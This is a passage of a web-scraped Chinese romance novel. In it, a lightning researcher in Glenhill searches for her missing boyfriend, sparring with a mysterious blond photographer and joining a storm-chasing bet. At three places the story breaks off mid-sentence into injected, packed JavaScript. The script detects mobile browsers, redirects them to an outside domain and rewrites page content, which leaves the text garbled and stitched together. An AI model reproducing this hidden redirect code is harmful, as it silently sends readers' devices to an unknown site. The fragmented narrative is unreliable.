“你带的都是些什么衣服啊,太保守了。” 许默有些咂舌。 第一次听见有人形容这些工作服保守。 因为出差的缘故。 许默都带的是好换洗的风衣和冲锋衣。 “这件还不错,”克里斯不知道从哪里翻出来件布料相对较少的黑色物件,在身上比划着:“就穿这露单边肩的小TOP吧。” 许默一把从对方手中将衣物抢过来。 “这可不是上衣,是条裙子。” “WTF?”克里斯表情夸张地说:“姐们你简直是上个世纪穿越来的,比我老母亲都还保守,她可都快60岁了。” 许默无语。 但最终还是跟着克里斯前往了郊外的派对。 对方一句“Party上人多,说不定就有人知道Selway的消息”,许默琢磨了下觉着还真有些道理。 雷电捕手的派对就如同他们追捕雷电一般狂野。 难怪他们要组织在郊外。 无数的男男女女,围聚在搭着篝火的帐篷周围有说有笑。 弹吉他的、敲鼓的、张嘴乱吼的。 也不知道这些说着不同语言的人们是怎么不约而同到来的。 这场面,要是放在镇子里,妥妥要报警他们扰民。 Erik眼尖,一眼就瞧见镇子方向走来的许默和克里斯,伸手迎接:“让我们欢迎——Chris宝贝,以及我们的新朋友,奥若拉小姐的到来!” 鼓手很给面子的敲击一串紧密的鼓声。 人群起着哄。 克里斯提着酒瓶,竖着中指就走了过去。 “Hi,大家晚上好。” 许默从容地和大家打着招呼,不出意外很快便成为了全场男士的视线焦点。 更有行动派的,几乎没要多长时间就将许默身边围了个满。 “你从哪里来?”“奥若拉,你和你的名字一样美。”“是第一次来吗?”“有男友吗?”“能请你喝一杯姜酒吗?” 各式各样的问题让许默应接不暇。 克里斯吼了声“hello?这还有个人呢”便无奈挤出去和Erik拼酒去了。 许默保持着笑容和大家打成一片。 正挨个挨个回答着众人的问题,猛然在不远处的几人交谈中听见熟悉的名字。 “Selway,你觉得呢?” 许默心脏狠狠收缩了下。 这个名字,分明每天都在她周围环绕,但却像是她很久都没听到过了。 “不好意思,借过一下。” 她慌张挤出人群,脚步踉跄地朝着帐篷外坐硕大石头边上的几人冲去。 只见人群中央,一名淡金色有着自然卷短发的男子正低着头单手玩弄着相机镜头。 他嘴角上扬,浑身上下无不散发着叛逆和玩世不恭的味道。 月光从树梢间漏下来,与篝火交织。 明艳的火光在他如病态般苍白的皮肤上跳动,勾勒出对方那棱角分明的轮廓。 4. 冰川 许默急切的步伐让正在交谈的几人纷纷转过头来。 那名玩弄着相机的淡金色短发的男子自然而然将头抬起。 许默像是即将在冰川之中溺亡,好似要抓住最后的救命稻草,但却发现再次被命运所愚弄。 她无力地垂下双臂。 任由整个世界再次被黑暗所填满。 对面的人,是有几分面熟。 却明显不是韦烨燃。 许默发出一声苦笑。 也是。 ……又怎么可能是他。 金发男子匆匆从许默脸上扫过,怪异地看了她一眼,不着痕迹地回答身前人先早的问题。 “拍得还不错,但感光度设置在ISO100左右会更有效果。” 他身前的几人见赶过来的许默一句话没说,只是一味地盯着他们,也并没有过多在意,继续探讨起拍摄的话题。 许默驻足在原地许久,直到人群散开,她才回过神来。 等反应过来时,金发男子已经走到她面前。 “Hi,我是赛文。” 对方操着一口英式口音的英语,歪着脑袋似笑非笑地看着她。 原来只是名字读音相似。 Seven和Selway。 她听岔了。 赛文。 这个名字听起来不像是本地人。 “你好,我是奥若拉。” 许默平静地与对方握手,介绍完自己便转身想走。 然而赛文好似并没有打算就这般放她离开,摇晃手腕晃动着气泡水瓶调侃道:“你刚刚……是把我错认为谁了吗?” 许默侧过身细瞧对方几眼。 在火光的映射下,皮肤白到病态,像是得了吸血鬼病。 眉宇间看不出对方是哪里人。 在这混乱的格伦希尔,无论出现哪国人倒是也不会觉着稀奇。 金发、白肤。 许默理所当然把对方划归为了欧洲人种。 她继续用英文与对方交流。 “抱歉,我刚以为听见了……” “别人的名字?”赛文勾起嘴角说:“朋友?还是同事?不过,看你那般激动的模样,我猜应该是……前男友?” 许默皱眉。 觉着自己似乎没必要和陌生人解释太多。 而且这人,虽话语间没有听出热络。 却给人一种尝试接近的感觉。 许默对男生的这种行为并不陌生,甚至可以说是应付得得心应手了。 不论是欲擒故纵、还是强装冷漠。 她总是能敏锐地识破。 而现在,她也没心情玩这些游戏。 “总之,是我听错了。” 刚想离开,她又看向对方手中的器械,多问了句:“Alpha1?” “认识?” 赛文抬起设备抛了半寸,吓了许默一跳。 昂贵的专业器械仿佛在对方手中不过是玩具。 “你也是雷电捕手?”许默扫视对方瞳孔。 有些奇怪。 金发深瞳的人种并不多。 “雷电捕手?”赛文笑了笑,他的语调轻飘飘的,总让人听起来有种匿藏在云端的感觉,像是抓不到踪迹。 “也算是吧。我其实是摄影师,专门拍摄雷暴的那种。” “雷暴摄影师?” 许默常年和雷电打交道,自然是有听说过这个职业。 甚至在社交软件上,她还关注过几名优秀的雷暴摄影师。 仔细思索了几秒,并没有想起这名叫赛文的男子。 又或许,他在网络上并没有很活跃。 格伦希尔还真是块宝地。 聚集的人群果然都是些脑子不太正常的家伙。 不是把雷电当酒精麻痹自己的雷电捕手。 就是追着雷暴比私生饭还狂热的摄影师。 剩下的,便是许默她自己这种明知道无功而返也要毅然尝试的雷电研究员。 他们都有一个共同的特性。 那就是九分的“无畏”,剩下的全是“愚蠢”。 “你有听其他摄影师说过吗?”许默淡淡地说:“雷暴摄影师的脑子都不太正常。” 赛文当然听过。 他勾起嘴角回答:“那又如何,谁去管其他人怎么说。” 对面的人说话很直接,几句话下来,给人一种无拘无束的感觉。 许默直直盯着对方眼睛,像是在回想那抹若隐若现的熟悉感是从何而来。 “奥若拉。”赛文没有躲避许默审视的目光,反而迎了上去,两人的视线在潮湿的空气中无声碰撞。 气氛莫名有些诡异。 远处传来隐约的雷声,在格伦希尔的上空蔓延。 “那你有听过一个说法吗?是雷电孕育地球生命的诞生。” 说完他看向夜空。 满眼炽热。 许默觉着这个眼神变得更加熟悉了。 她好似以前在哪里见过。 对了。 是在韦烨燃脸上。 充满野心、狂热,且笃信。 许默胸腔突然开始隐隐作痛。 像是被人狠狠抓了一把。 一道闪电恰在此时划破天际,将对方的侧脸映得忽明忽暗。 赛文的声音随着雷声的余韵微微震颤:“在文明诞生以前,甲烷、氨气、氢气在电光中分解重组,诞生了第一个氨基酸分子。”他的手指在空中划出DNA螺旋的轨迹,“经过七亿年的进化长河,地球上才出现了今天的人类。” 赛文像是在阐述雷电让他着迷的原因。 “那你有没有听说过,”许默像是浇一盆冷水般地说:“雷暴是对人类生活影响最严重的十种自然灾害之一,它引发森林火灾、摧毁城镇、夺人性命?” 许默语速很快。 甚至有几分咄咄逼人。 赛文转过头来,诧异地看向她说:“你是在害怕雷电。” “我不应该害怕吗?难道你不怕?”许默坦言。 剑拔弩张的气氛让空气瞬间冷了下来。 或许是她和对方的气场不太对劲,没说两句就满满的火药味。 许默也不知道为何突然要与陌生人发难。 她只是害怕…… 害怕又…… “你们……” 一声不合时宜的中文打断了两人的对话。 是一名有点微胖的中国男子,看样子不过刚刚二十岁左右。 浑身上下全是夸张的品牌印花。 他举着枚冰棍,插入两人之间。 “大家明明都是中国人,为什么要用洋文在那东拉西扯的?” 说完又递了根冰棍到赛文手中,东北口音很重地说:“来哥,吃点,还热乎的。” 许默瞬间反应了过来。 感情这个操着伦敦腔叫赛文的家伙是在逗她玩儿。 许默可是一眼东方人长相。 她看不出对方来自哪里,对方可完全看得出她的种族。 而这人却用英文在那揣着明白装糊涂,显然是捉弄她。 不管这是什么新式把妹手法。 就算是在他同伙戳破之前,也一点都算不上高明。 染个金发cos什么外国人呢。 对许默来说,立马将对方划归到了“不是正经人”那类人群里。 一句话也不想多说。 瞪了赛文两眼,许默转身就离开了巨石边上。 “诶,别走啊,老妹儿,”胖子刘昱伸手招揽:“老乡见老乡嘛不是,来吃个热乎的冰棍不?” 许默嘴角扯了扯。 感叹自己脾气真好,不然说什么都要给这两人一人甩一根中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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问话的人是名黑发男子,西服、领带、袖扣,无处不象征着其精英身份。 “是的,陈董,昨天的航班。”点头哈腰的正是被李逸称作组长的人,“按照您的吩咐,所有设备都……” “很好,赵老师的学生我自然是放心的,”陈董突然打断,用方巾擦拭了下酒杯,倒入半杯威士忌,“你懂我的意思吗?” 黄组长献媚地说:“我当然明白,您就放心吧。咱们做局这次让赵老师亲自下场背书,结果肯定包您满意。” 陈董突然掐住黄组长的脸颊,力道不轻不重:“说什么做局?多难听。”他低笑着松开手,“我们这是在给年轻人创造...历练的机会。” 黄组长顿悟附和:“哦,对对,锻炼呢。陈董,别说这次雷暴的预测准确度本就不高,就算撞大运遇着了,直播团队里我还安插了人,这次直播是肯定不会成功的。” 陈董事哈哈笑了两声才嫌弃地说:“咦,怎么能这么说,像是我们在诅咒他们似的,只能说这本就不可能完成的任务,失败自然也是必然的。” “对对,”黄组长顺着对方说:“本就不可能完成,我们只是添了把……火候。” “你啊你……” 两人笑着碰杯之后,陈董事俯下身子瞪着眼睛轻声说:“要是在直播时弄出人命来,那可就精彩了,你说,会不会啊?” 对方的口气让人摸不清虚实,黄组长愣了愣,额头冒出些汗渍。 “陈董,这……恐怕不太好吧。” “诶,”陈董事打趣他说:“又没让你谋财害命,我又不是这种人,你看你。” “是,是。”黄组长直点头,就差将脑袋缩进脖子里了。 “人各有命,你只需要……”陈董事摇晃了下玻璃杯,眼中露出阴鸷:“在关键时刻添把火候。” 黄组长哑言。 “来,”陈董事轻拍几下对方的脸颊,“咱们也祝赵老师和他那得意门生……马到‘成功’。” 黄组长颤抖着手举杯,笑得很难看:“……成、成功。” 5. 澄空 “老师,”清晨的曦光才刚洒进旅店窗台,许默已经正坐在桌前郑重地举着手机,恭敬说:“嗯,我已经和他们对接上了。” 等对方嘱咐完,她才不缓不慢地说:“您放心,我有分寸。老师,您保重身体。” 挂断电话。 许默起身拉开窗帘借着晨曦打量镇子。 隔壁房间的克里斯还没动静,昨晚也不知道是几点回来的。 她在派对上并没有如愿寻到韦烨燃的消息,打了个招呼就提前回了旅馆。 些许是重回格伦希尔的第一晚。 许默睡得并不安稳,刚合上眼睛就浮现出曾经在这片土地上的一幕幕。 辗转反侧。 夜不能寐。 等到克里斯下楼已经快接近中午了。 她戴着墨镜,顶着肿胀的黑眼圈,看样子昨晚是没少喝,瞧见认真工作的许默笑嘻嘻地打了个慵懒的招呼。 “Rocket的稳定性还是不太够,钢丝的抗拉强度还能提高吗,Joe?”许默把埋在拖车里的头抬起来。 Rocket是用作引雷的特定装置,一般链接钢线从地面发射至雷云。 也被称为引雷火箭,被广泛应用于人工引雷实验。 在国内的话,器械的成熟度、测试成功率都很高。 但格伦希尔这边不比国内,实验用的物资非常匮乏,很难采买到强度、材质都合适的器材。 许默用设备扫了下。 这里的材料并没有达到预期,一早上的试验和检查下来,Joe备好的材料几乎要换个大半。 如果实在不行,只能请求老师从国内寄一些过来。 只是不知道时间还来不来得及。 “要满足轻和细的前置条件,现目前已经是市面上可以找到的最优选择了,”Joe摊手表示无奈,“如果你仍然坚持的话,我下午可以再回因斯布鲁克的基地找找看。” “辛苦了,Joe。”许默颔首,转头看向车边站着还带着起床气的克里斯,“酒醒了?” “你们中国人,可真是上班认真起来不要命的工作狂。”克里斯抬起墨镜,眼睛肿得像灯泡,边说边打哈欠。 许默抬头辨认了下太阳的位置。 如果她没记错的话,现在已经快到中午了。 克里斯补充道:“今天可是周末。” 许默面不改色地说:“克里斯,你有没有想过回研究所工作一段时间。” “研究所?倒是没有想过。”克里斯连忙摆手。 “那可惜了。” 克里斯不解:“可惜什么?” 许默睨了她一眼:“可惜你感受不到什么叫996没有眼泪了。” 克里斯眯着眼睛思索了一会儿,“虽然没听懂你在说什么,但听起来像是件挺值得体验的事情,有机会可以去体验一下。” 许默憋笑:“人生多尝试,总不是坏事对吧?” “挺有道理。”克里斯连连点头,看样子势必要去体验下996。 发动机的轰鸣声打断两人的谈话。 朝着城镇边上望去,正好一眼看见Erik的车队,光看起来就像是要被吵到眼睛。 “CheeHoo!”Erik远远地就向两人打招呼:“昨晚睡得好吗?手下败将。” 克里斯鼻翼抖了抖。 想反驳又一时憋不出话来。 她酒量一向不错,没想到昨晚却被Erik灌翻。 难得看见克里斯吃瘪模样,Erik兴奋得不行。 “我们要去抓捕雷电了,两位小姐要赏脸一同前往吗?” “不去。”克里斯义正词严拒绝。 “那真是太可惜了,”Erik指了指身后车上戴着眼镜的格子衫男生,捂着嘴说,“我们团队的科学怪人推算出了单体雷暴,你们不去就见证不到我英姿飒爽的狩猎了。” 克里斯白了对方一眼:“爱谁去谁去,滚蛋,没看见我们正在工作吗?” Erik笑意不减,伸出手继续邀请许默,“奥若拉小姐呢,可否邀你共乘?” 许默没理会对方的玩笑话,转头盯了几眼他们即将前往的路线。 反问:“你们要去狩猎单体雷暴?” “没错。”Erik斜着脑袋看她,像是在欣赏一尊精美的瓷器。 许默继续摆弄着她的器械:“那你们会失望而归的。” “哦?” “今天,附近不会有单体雷暴出现。” Erik听完顿了两秒,和身后的几人一同笑出了声。 像是在派对上听到什么滑稽事情般可笑。 “Alex,”Erik转身朝着刚被他称为科学怪人的格子衫男生喊道:“这里有位美丽的女士在质疑你的推算,不来过两招?” 周围人群笑作一团。 格子衫男生抱着笔记本电脑走了上来。 他的形象和Erik的团队有些格格不入。 像是典型的理工科男生,性格瞧着也比较腼腆内向。 Erik笑完才和许默介绍起身前的男生。 “这是Alex,哥伦比亚大学的在读博士,我们狩猎团的专业顾问。” 说完挑眉看向许默,像是在宣示他并不是如想象中那般鲁莽,别小看他了。 “你……你好。”格子衫男生将笔记本电脑转过来,一幅动态的雷云分析图出现在许默面前。 而分析图中央标志着红圈的地方,显然就是他预测的单体雷暴出现地点。 格子衫男生点了点画面中央,语气流畅地说:“基于多普勒气象雷达的实时监测数据与微物理耦合模型分析,云顶亮温已降至-65℃以下,符合深对流发展的热力学判据,通过分析电荷分离层的偶极子结构,空间梯度呈现典型的三极性分布,显著提升了云内极化和击穿概率……” “预计未来3至5个小时内,将发展成成熟单体雷暴。” 许默听着对方的数据分析结论,扫了眼对方的界面。 气象数据更新很频繁,她没见过这般模样的系统,应该是西方国家研发的。 从界面上的积云演算路程、对流中心估算等数据,通过AI运算后,最终能得出红圈范围将会出现单体雷暴的结论。 许默不懂AI为何要这样预测。 但她懂天象。 抬头朝着灰但透光的云层瞰去。 她仍然坚持原先的回答。 “不会有雷暴,你们会失望的。” Erik并没有因为许默的两句话打消他们出行的意愿。 甚至将许默的话语当成玩笑话在团队里打趣好一会儿。 “都说漂亮的女人,最危险。” “要不然,我们还是乖乖回席梦思上躺着吧,免得失望。” “哈哈哈,我觉得你说得对。” “Bye,美丽的奥若拉。” 和团队嬉笑几声,车队便轰轰烈烈朝着预先的路线驾驶。 许默显然是被当成了花瓶。 这种不被重视的感觉,她已经再熟悉不过了。 刚到研究所时,她就因为这幅还看得过去的容貌受过不少偏见。 或许是理工男特有的形象自然而然就取得信任。 而她们天然就该从事买咖啡、报销等内勤工作。 成为冲锋一线“战友”们坚实的“后盾”。 为他们的成功“保驾护航”。 刻有形象所带来的偏见,并不是一时半会儿能改善的。 “饿死了,”克里斯捂了捂饿扁的小肚子,“走吃饭吧。” “好。” 许默收拾完拖车上的器械,转身刚要跟着克里斯去往餐厅,余光却迫不及防地与二楼上某道视线撞在一起。 淡金色的短发在斑驳的光阴下有些刺眼。 是赛文。 对方随意趴在二楼的栏杆上。 纯白T恤衫被穿出几分设计感,露出一截腰线窄而利落腰腹。 皮肤在冷光下泛着一种近乎釉质的苍白。 “哈喽。” 赛文并没有因为许默察觉到他的注视而慌乱,趴在二楼栏杆上从容朝她挥了挥手。 显然已经不知道在二楼“观摩”多久了。 如果是寻常人,许默自然会礼貌地和对方打招呼。 她并不是一个冷淡的人。 但此时,她却并没有在意对方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861462|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷冷地盯了对方两眼后,慢步走进了屋檐。 “哥,你招惹她了?”白胖子刘昱戳了戳赛文,“她怎么都不理你。昨晚看你们俩还聊得挺投机的嘛。” 赛文咧嘴笑了笑,露出几颗明晃晃的牙齿。 “哪知道呢,走吃饭去。” 刘昱跟着身后继续说:“刚她可是说Erik他们会碰一头灰诶,我倒是想跟上去好好瞧瞧。” “不用去了。”赛文摆了摆手。 刘昱咂舌:“哥你就不想知道结果?” “我已经知道结果了。” “啊?为啥。” “因为我信她。” “咦~”刘昱拖着长长的尾音痞痞地笑了几声说:“差点忘了,哥你是三观跟着五官走,美女说天要下雨,你就算顶着太阳也要打把伞的。” 赛文转身举了举拳头:“又欠揍了?” “嘤。” - 直到接近傍晚。 Erik的车队才慢腾腾回到镇子。 他们“狩猎”的结果,镇子里的人都清楚。 毕竟有没有单体雷暴出现,在地广人稀的格伦希尔又怎会听不到雷声。 看着他们恹恹而归的样子。 克里斯立马就兴奋了起来,站在旅馆二楼朝着Erik呼喊起来。 “喂,你们抓的单体雷暴呢?不会吧、不会吧,难不成已经伟岸到连我的肉眼都捕捉不到了吗?哈哈哈哈——” Erik想要摆出一副无所谓的表情,但抽动的眉毛显然是没忍住。 “Erik,”克里斯继续骑脸输出,“你说我今天怎么就没跟着你们去呢,不然还能近距离欣赏你的‘英姿’。” 克里斯吼完转头朝房间里的许默喊道:“奥若拉,你快来看,Erik的脸就像被埋在格伦希尔的黄土里一样,灰得很呢。” 车队今天扑了个空本就兴致不高,被克里斯这样一嘲讽,气氛瞬间变得有些微妙。 格子衫男生涨红着脸,双手更是有些无处安放。 他的模型少有的失了灵。 “雷电捕手本就是靠天吃饭,”Erik鼓着气说:“扑空很正常,明儿再去就是了。” “明儿?”克里斯笑得直不起腰,“就怕你明儿也只吃得到我的尾气,干脆你改名叫尾气捕手算了,说不准被评选为联合国绿色环保大使,还能为碳中和添油助力呢。” Erik只恨没多长两张嘴来回击,这克里斯专挑别人软肋捏,气得他双眉乱飞。 “那要不,明天我们比一场。”Erik咬了咬牙,察觉车队的氛围出言开始挑衅克里斯。 “比?”克里斯不以为然,“比啥啊?” “如果明天有雷电,比谁先找到雷电的形成位置。” “那要是不止有一处雷电呢。” “那就比谁找到的雷电等级高、规模大。” “可以倒是可以,”克里斯有些心虚地瞅了眼身后的许默,故作镇定地说:“那你想赌什么?” “就赌……”Erik含笑说:“谁要是输了,就脱光了倒立喝酒。” 听他这样一说,人群立马沸腾了起来。 脱光+喝酒,这样单词组合在一起,就连听不懂德语的外乡人也开始吆喝。 “果然臭狗的嘴巴就是说不出人话来。” 克里斯本不想答应这过分的赌局,但转念一想,要是惩罚的是Erik,她岂不是要嘲笑对方好几年不带停歇的。 一想到对方吃瘪模样。 眼轱辘一转,克里斯拍了拍胸脯响亮应战:“一言为定,输了可不许哭鼻子哦。” “好喔、好喔。” 同样住在二楼的刘昱唯恐天下不乱的甩手叫好,恨不得脱了T恤在头上甩。 “你傻乐呵什么呢?” 低头刷着手机的赛文,左手撑着头乜了对方一眼。 “明天又有赌局看了,”刘昱涨红着脸说:“克里斯要是脱.光倒立,我可还真没眼看。” 瞧见对方小眼睛眯着傻笑,就知道脑子里在想些什么不健康的东西。 赛文敲了敲对方脑袋。 “不要搞得像拼好饭中毒死前最后幻想。” 6. Bobber “拜托,求你了奥若拉。” 克里斯双手合十摆在身前,如果不是听过她口中无理的请求,许默差点以为对方是个虔诚的信徒。 “就这一次好吗,求求了。” 克里斯应约下来的战书基本上算是替许默应下的。 毕竟论起捕雷经验,科班出身的她还真不一定比得过Erik那群野路子。 “放心,”见许默不应声,克里斯咬牙说,“真要是输了,该我脱就脱,本淑女可不带怕的,你不要有心理负担。再说……我可不觉得你会输。” 说完翘皮的吐了吐舌头,一脸心虚地看向并无表示的许默。 许默瞅了瞅对方,不知道是从什么时候起给了对方自信。 明明两人见面就不超过三天,就敢在寄希望他人的前提下接受这么大的赌局。 刚想开口拒绝,放在桌上的手机屏幕亮起。 许默匆匆瞥了眼,心跳像是漏掉半拍,脚下差点没踩稳,慌忙得冲了过去。 “韦烨燃?!” 她捂着手机唤了一声,快步转身走进了阳台。 “韦烨……燃?”克里斯重复着晦涩的中文音节,觉着好似在哪里听过。再结合许默慌张的神情和动作,她瞬间反应了过来,瞪大眼睛惊呼:“是Selway!?奥若拉的神秘男友?” 拉上阳台的玻璃门,许默抵在角落面朝漆黑的平原,不断朝听筒发声。 “韦烨燃,你在哪?” “……” “是你吗?” “……” “你过得还好吗?” “……” “有没有按时吃药?” “……” “你怎么不说话……” “……” 不论许默怎么问,听筒对面都是一阵沉默。 好似让人一头扎进冰冷刺骨的海底,无论怎般用力和挣扎,都得不到任何回应。 只有那令人绝望的沉默。 许默又连续询问了好几句。 但短暂的缄默后便是“嘟嘟嘟”的忙音。 她的眼眶刹那间红了起来。 韦烨燃…… 你到底在哪? 为什么不愿见我一面,甚至连话都不愿多说。 挂断电话,她自言自语般说了句“是吗?那就好。我也一切都好。” 像是在说给韦烨燃听,又像是说给自己听。 她迟迟没有转身。 目光停顿在远处的乌云密布,直至两眼失去焦距。 三年前约定的时间就快要到了。 她和韦烨燃之间,也是时候…… “咔。” 是一声清脆的打火机声将许默意识重新唤回来的。 随之出现的,是隔壁阳台出现的星星火光。 借着那不太明亮的烟火光线,许默才看清藏在漆黑夜色中的脸。 金发在微弱的光线下泛着淡淡的光泽,有点儿像麦穗。 而那双深褐色的瞳孔正毫不遮掩地盯着自己。 慢吞吞腾起的烟雾将对方线条硬朗的脸渲染得有些朦胧。 靠着那一头惹人注目的金发,许默还是辨识出了对方。 是赛文。 许默并没有因为被对方撞出窘迫而感到惊慌。 她直视对方。 猎物面对猎人时第一反应便是逃离和躲闪。 但她可不是猎物,也不需要示弱。 赛文指尖夹着一支刚点燃的烟,烟雾在空气中散成无形的丝线,缠绕着他冷淡的轮廓。 许默淡声问:“好听吗?” 这次她用的是普通话。 “挺好听的。” 几乎是不假思索,赛文便脱口而出,答非所问。 这次没有强加掩饰,用的也是标准的普通话。 听不出是明显的口音。 “我是说,”许默眉头微微皱起,言语略带攻击性:“偷听别人通话,好听?有意思吗?” “你说那个啊,”赛文视线在她身上打了个转,笑了笑说:“也还不错。” 见对方丝毫没有表现出羞耻,许默叹了口气。 这人脸皮可真够厚的,对含沙射影的讥讪根本无动于衷。 许默也并不想过多纠缠,争论几句起不到任何意义。 转身便准备回旅馆。 “奥若拉。” 赛文唤了声,让许默拉开玻璃门的手停顿半秒。还没等她回头,对方再次出声:“只有一个人说话,那可算不上是……通、话。” 他的腔调很特殊,“通、话”这两个字停顿得很长。 许默背着的身子微微颤抖。 对方像是不给她回话的机会,摁熄烟火就先她一步走出了阳台。 这个叫赛文的人…… 许默抬眼朝对方离开的方向看了几眼,觉着有几丝怪异的感觉。 几次交谈下来。 为什么会给她一种熟悉的感觉。 这种语气。 她好似曾经在哪里听到过。 伴随着的。 鼻尖仿佛还闻到了若隐若现的淡淡乌樟树的味道。 许默转头环视了眼。 格伦希尔可没有生长乌樟树的条件。 “奥若拉!” 克里斯瞧见许默一直杵在玻璃门前又不进,主动拉开门兴奋问:“Selway给你打电话了?他都说什么了?” 许默点了点头,又摇头。 “他……什么都没说。” “哈?这么久不联系,好不容易打通电话还没说什么?”克里斯抓狂得两爪抱头,不能理解道:“你们东方人的含蓄已经到这种程度了吗?只听对方的呼吸声就能缓解思念?我不能理解!” 许默没有回答她的问题。 只是骤然抬头。 “克里斯,明天那场赌局,我帮你。” “什么?”克里斯转惊为喜,“真的?Selway的电话果然有用诶。” 许默抬眸,眼神坚定地说:“我会找到他的,我感觉得到,他就在格伦希尔。” 如果寻找雷暴出现的踪迹。 是不是就能跟上对方的步伐。 韦烨燃…… 一定会找到你的。 “好,我帮你一起找,”克里斯一把抱了上来,把她扑倒在床垫上嬉皮笑脸地说,“不过,要等明天帮我赢下Erik再说,我要好好收拾他个小混蛋。” - 第二天的天气并不太“好”。 格伦希尔难得出现了晴空万里。 这对于要尝试捕捉雷电的两队人来说,算不得是好事。 相比起来,他们还是更愿意看到乌压压的一片。 镇子的钟楼广场上。 两队人马早就各就各位。 “克里斯宝贝,”Erik坐在镜头前出言挑衅,“你知道网上有多少人压我们赢吗?” 不等回话,Erik比画着手指继续说:“9比1。当然了,9是我,你是1。” “哦?是这个吗?”克里斯伸出中指,“小可爱,这可不是1,这是撅你屁股的——” 克里斯比画出某个单词的口型,自动消了音。 全场哄堂大笑。 自从昨天两人拌完嘴。 Erik那边就预告了今天的赌局,更是要全程直播比赛过程。 不得不说,Erik某种层面来看还真是个出色的自媒体人,不放过任何营造话题的机会。 而他的粉丝,被煽动情绪后也是疯狂涌入了频道,给他带来大量流量。 这场赌局不论结果怎样,他已经算是赢了大半。 许默站在许愿池子边眯着眼睛朝远处打量。 虽然现在的格伦希尔并没有任何雷暴出现的踪迹。 但这只不过是“善变”的伪装,风平气和下的苗头才是获胜的关键。 赛文坐在车顶,慵散地搭着手,看向喷泉中央。 像是在观察水的流速,又像是在观察别的东西。 伸出手指感受着风向和气温。 许默转头朝西南边快速瞥了眼。 正待她观察着,抱着笔记本电脑的格子衫Alex已经快步跑向Erik身边凑在他耳边小声说着什么。 “克里斯,走。” “咻(口哨声),我们走。” 几乎是两边同时感受到了雷电的踪迹,发出了动身的号召。 广场的人群眨眼间有条不紊地往车里涌去。 克里斯张开嘴,刚想咬一口三明治。 听见许默的呼唤,眨了眨眼便将三明治扔到了后座。 “快上车。” 许默一把拉开正在倒车的车门,拉着车顶的扶手,斜身坐进副驾驶,指向西南方向的位置。 “轰”的一声,克里斯几乎是把油门踩到了底。 车轮胎在地面上发出刺耳空转声后,便率先将Erik甩在了身后。 “Byebye,”克里斯摇头晃脑,“吃尾气吧,小混蛋。” 打方向盘,挂挡。 一气呵成。 镇子里的街道并不算宽阔。 克里斯庞大的车身将街道堵得滴水不漏,把Erik老老实实地压在身后。 看对方吃瘪模样,克里斯得意地出声狂笑。 Erik的车队被狠狠堵在后方,嘈杂的喇叭声响彻拥挤的车道。 伴随着的,还有克里斯爽朗的笑声和一路鸡飞狗跳。 开局便保持了领先优势。 几次弯道错车间,Erik瞅准机会都想反超而上,却被克里斯野蛮地重新挤回了后方。 可惜优势并不能长久保持。 直到越野车行驶出了镇子,路面也随即宽广了起来。 压在克里斯后方的摩托车队立马一窝蜂似的包了上来。 被人堵在身后的感觉实在不好受。 Erik对着克里斯又是挤眉又是弄眼的。 克里斯朝对方比了个鬼脸,跟着许默的指向开始变道。 “右转。” 许默探头后指向右方。 克里斯一个急转滑行半米后,向右调转了车头。 “再往左前。” 高速行驶的越野车在荒土上掀起阵阵黄沙。 像是两排在地底急速前行的沙虫。 将本平静的黄土掀起波澜。 然而两队人马仿佛驶向的是同一个方向。 不论许默他们的车辆怎么转向,都没有甩开Erik的车队。 灰白云层已经开始在西南方向聚集。 风速也逐渐变得张狂起来。 “前面走右边。” 许默拉着车顶的扶手,指向下一个转向口。 “Yes,ma''am!” 克里斯接收到指令,转动方向盘开始转向。 然而刚转一半,她又急忙将方向盘打了回来。 剧烈的离心力让许默微微腾空。 背部还没归位到座椅上,就听见克里斯口吐芬芳:“m——哔——k” 朝车身右侧看去,几辆摩托车正巧出现在她们即将要转向的岔口上。 几乎是贴着高速行驶的车身在驾驶,逼迫着克里斯偏离计划的路线。 不论克里斯怎么按喇叭、怎么用车身逼迫。 几辆摩托车都丝毫没有避开的意图。 “Sorry,克里斯宝贝,”Erik那张欠揍的脸从后面升了出来,转手踏上右侧的道路,“胜利不仅要靠自己的实力,还要靠击碎敌人获胜的可能性,拜。” 克里斯用力往方向盘上狠狠拍去:“这不要脸的家伙,怎么开始耍无赖了,我还真是小看他了。” 许默诧异地看了对方几眼。 你们这也真算是礼尚往来。 “别急,”许默认出了这个地方,“前面先上坡,我们打他个措手不及。” “好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许默目光锁定视野尽头靠左侧的山脊位置。 就是那—— 显而易见,Erik的车队目标也是那个方位。 格子衫男生软件中的雷云预测模型显然也精准地预测出来了潜在雷暴发生地点。 那他们要比拼的,就是谁抢先在第一道闪电降下前抵达那个位置。 灰白的云层在翻涌中变得密不透风起来,将几乎整个天空的光线都遮蔽。 “要来了。” 许默轻声阐述天气的变化。 克里斯咬着牙,鼓着腮帮子并肩Erik的车队朝着山脊的方向行驶。 “Alex,”Erik扯下面巾,朝着后方的格子衫男生询问:“位置确定了吗?” 格子衫男生在驰骋的车背上面色通红,正紧紧抱着车手的后背。 Erik又呼唤了两声他才听清。 勉强翻开笔记本电脑,朝着云雷模型模拟的落点辨别后,他指了指山脊方向。 “就是那里!” “确定吗?” “95%。” Erik露出虎牙笑了笑:“那我们赢定了,她们是过不了我们的包围线的。” Erik的车队就像一群井然有序的蚂蚁。 明明单个看起来不足为惧,但挤在一起却在缓慢地蚕食克里斯和许默的行经路线。 每当越野车要有超车的机会,都被对方挤到了另外偏道上。 相比起四个轮子,两个轮子的是要灵活得多。 